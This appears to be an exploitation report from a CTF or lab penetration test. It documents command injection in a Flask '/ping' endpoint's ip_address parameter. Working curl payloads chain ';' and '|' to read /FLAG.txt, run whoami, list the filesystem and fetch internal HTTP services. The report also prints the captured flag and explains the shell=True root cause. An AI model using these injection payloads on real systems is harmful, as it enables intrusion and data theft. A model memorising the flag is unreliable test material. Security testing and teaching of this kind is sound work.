# SSRF Exploitation Evidence

## Successfully Exploited Vulnerabilities

### SSRF-VULN-01: Command Injection Enabling Unrestricted SSRF via /ping Endpoint

**Summary:**
- **Vulnerable location:** POST /ping endpoint, parameter: `ip_address`
- **Impact:** Complete server compromise with arbitrary command execution as root, internal service access via HTTP-based SSRF, and CTF flag capture
- **Severity:** Critical

**Prerequisites:** None - endpoint is publicly accessible without authentication

**Exploitation Steps:**

1. **Access the vulnerable endpoint and submit malicious payload to retrieve the CTF flag:**

```bash
curl -X POST http://localhost:42775/ping \
  -d "ip_address=127.0.0.1; cat /FLAG.txt" \
  -H "Content-Type: application/x-www-form-urlencoded"
```

**Expected Response:**
```html
<!DOCTYPE html>
<html>
<head>
    <title>Ping Result</title>
    <link rel="stylesheet" type="text/css" href="/static/styles.css">
</head>
<body>
    <div class="container">
        <h1>Ping Result for 127.0.0.1; cat /FLAG.txt</h1>
        <pre>FLAG{a538f6e86f8af44cc167c451ea73b6820104879eb6a85f516262fd1d385fafbe}</pre>
    </div>
</body>
</html>
```

**Captured Flag:** `FLAG{a538f6e86f8af44cc167c451ea73b6820104879eb6a85f516262fd1d385fafbe}`

2. **Verify arbitrary command execution capability by checking user privileges:**

```bash
curl -X POST http://localhost:42775/ping \
  -d "ip_address=127.0.0.1; whoami" \
  -H "Content-Type: application/x-www-form-urlencoded"
```

**Expected Response:**
```html
<pre>root</pre>
```

**Result:** Confirmed execution as root user (highest privilege level in container)

3. **Demonstrate filesystem enumeration to identify sensitive files:**

```bash
curl -X POST http://localhost:42775/ping \
  --data-urlencode "ip_address=127.0.0.1; ls -la /" \
  -H "Content-Type: application/x-www-form-urlencoded"
```

**Expected Response:**
```
total 8
dr-xr-xr-x.   1 root root  39 Oct 28 18:00 .
dr-xr-xr-x.   1 root root  39 Oct 28 18:00 ..
-rw-r--r--.   1 root root  70 Oct 24 23:50 FLAG.txt
drwxr-xr-x.   4 root root  93 Oct 24 23:50 app
lrwxrwxrwx.   1 root root   7 Sep 26  2024 bin -> usr/bin
[... additional filesystem contents ...]
```

**Result:** Successfully enumerated container filesystem, confirmed FLAG.txt location at `/FLAG.txt`

4. **Demonstrate HTTP-based SSRF by accessing internal web service on port 80:**

```bash
curl -X POST http://localhost:42775/ping \
  --data-urlencode "ip_address=127.0.0.1; curl -s http://127.0.0.1:80 2>&1 | head -c 200" \
  -H "Content-Type: application/x-www-form-urlencoded"
```

**Expected Response:**
```html
<pre><!DOCTYPE html>
<html>
<head>
    <title>Ping Tool</title>
    <link rel="stylesheet" type="text/css" href="/static/styles.css">
</head>
<body>
    <div class="container">
        <h1>Ping Tool</h1>
 </pre>
```

**Result:** Successfully accessed internal Flask application on port 80 via HTTP, confirming full HTTP-based SSRF capability beyond basic ICMP probing

5. **Alternative exploitation using pipe operator for command chaining:**

```bash
curl -X POST http://localhost:42775/ping \
  -d "ip_address=127.0.0.1|cat /FLAG.txt" \
  -H "Content-Type: application/x-www-form-urlencoded"
```

**Expected Response:**
```html
<pre>FLAG{a538f6e86f8af44cc167c451ea73b6820104879eb6a85f516262fd1d385fafbe}</pre>
```

**Result:** Confirmed multiple command injection techniques work (semicolon `;` and pipe `|` operators)

**Proof of Impact:**

1. **CTF Flag Capture (HIGHEST PRIORITY):**
   - **Flag Value:** `FLAG{a538f6e86f8af44cc167c451ea73b6820104879eb6a85f516262fd1d385fafbe}`
   - **Extraction Method:** Command injection via `ip_address=127.0.0.1; cat /FLAG.txt`
   - **Proof:** Complete flag value retrieved in HTTP response body

2. **Arbitrary Command Execution as Root:**
   - **Command:** `whoami`
   - **Result:** `root`
   - **Impact:** Full container compromise with maximum privilege level

3. **Internal Service Access via HTTP-based SSRF:**
   - **Target:** `http://127.0.0.1:80` (internal Flask application)
   - **Method:** Injected `curl` command via command injection vulnerability
   - **Result:** Successfully retrieved HTML content from internal web service
   - **Impact:** Ability to access any HTTP-based internal service accessible from the container

4. **Filesystem Access and Enumeration:**
   - **Command:** `ls -la /`
   - **Result:** Complete directory listing of container root filesystem
   - **Sensitive Files Identified:** `/FLAG.txt`, `/app`, `/root`
   - **Impact:** Full visibility into container filesystem structure

**Technical Details:**

**Vulnerability Type:** Command Injection (CWE-78) enabling SSRF capability

**Root Cause:** 
- Application accepts user input from `ip_address` parameter without validation
- Input is concatenated directly into shell command string: `command = 'ping -c 2 ' + ip_address`
- Command executed with `subprocess.Popen(command, shell=True, ...)` enabling shell metacharacter interpretation
- No input sanitization, no IP address validation, no private IP blocking

**Attack Vectors Confirmed:**
- Semicolon command separator: `127.0.0.1; <command>`
- Pipe operator: `127.0.0.1|<command>`

**SSRF Capabilities:**
- **Classic SSRF:** Direct ICMP requests to attacker-controlled destinations (limited by ping binary restrictions)
- **HTTP-based SSRF:** Full HTTP request capability via injected `curl` commands
- **Non-blind SSRF:** Complete stdout/stderr output returned to attacker in HTTP response

**Network Position:**
- Container has access to localhost services (127.0.0.1)
- Internal Flask application accessible on port 80
- `curl` utility available in container for HTTP requests
- Container runs with root privileges

**Notes:** 

This vulnerability combines command injection and SSRF, making it exceptionally dangerous. While categorized as SSRF in the analysis queue, the underlying mechanism is command injection that enables SSRF-like behavior. The vulnerability allows:

1. **Direct flag capture** - Primary CTF objective achieved
2. **Full system compromise** - Root-level arbitrary command execution
3. **Network boundary bypass** - Internal HTTP service access via curl
4. **Data exfiltration** - Non-blind SSRF returns complete response data

The application is deployed as a CTF challenge and contains no security controls. All functionality is publicly accessible without authentication. The vulnerability represents a complete security failure with maximum impact.

**Exploitation Complexity:** Trivial - requires only a single HTTP POST request with basic payload

**Authentication Required:** None - endpoint is publicly accessible

**Remediation Priority:** Critical - immediate patching required if this were a production system

---

## Exploitation Summary

**Total Vulnerabilities in Queue:** 1  
**Successfully Exploited:** 1 (100%)  
**Potential (Blocked):** 0  
**False Positives:** 0

**Key Achievement:** CTF flag captured via command injection, demonstrating complete server compromise and internal network access capability.
